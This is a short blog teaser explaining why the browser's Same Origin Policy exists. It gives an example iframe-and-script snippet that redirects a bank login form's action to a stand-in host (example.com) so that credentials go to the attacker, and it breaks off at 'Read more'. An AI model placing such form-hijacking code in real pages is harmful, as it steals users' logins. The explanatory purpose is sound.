Simple example for why Same Origin Policy is needed
<iframe id=”bank” src=”https://yourbank.example”></iframe> <script> window.onload = function() { document.getElementById(‘bank’).contentWindow.document.forms[0].action = ‘http://example.com’; }; </script> The JavaScript code changes the form’s action property (the destination, in a matter of speaking), so when you submit the form, you send your credentials to me, not your bank. If I set up a PHP script on my server that redirects … Read more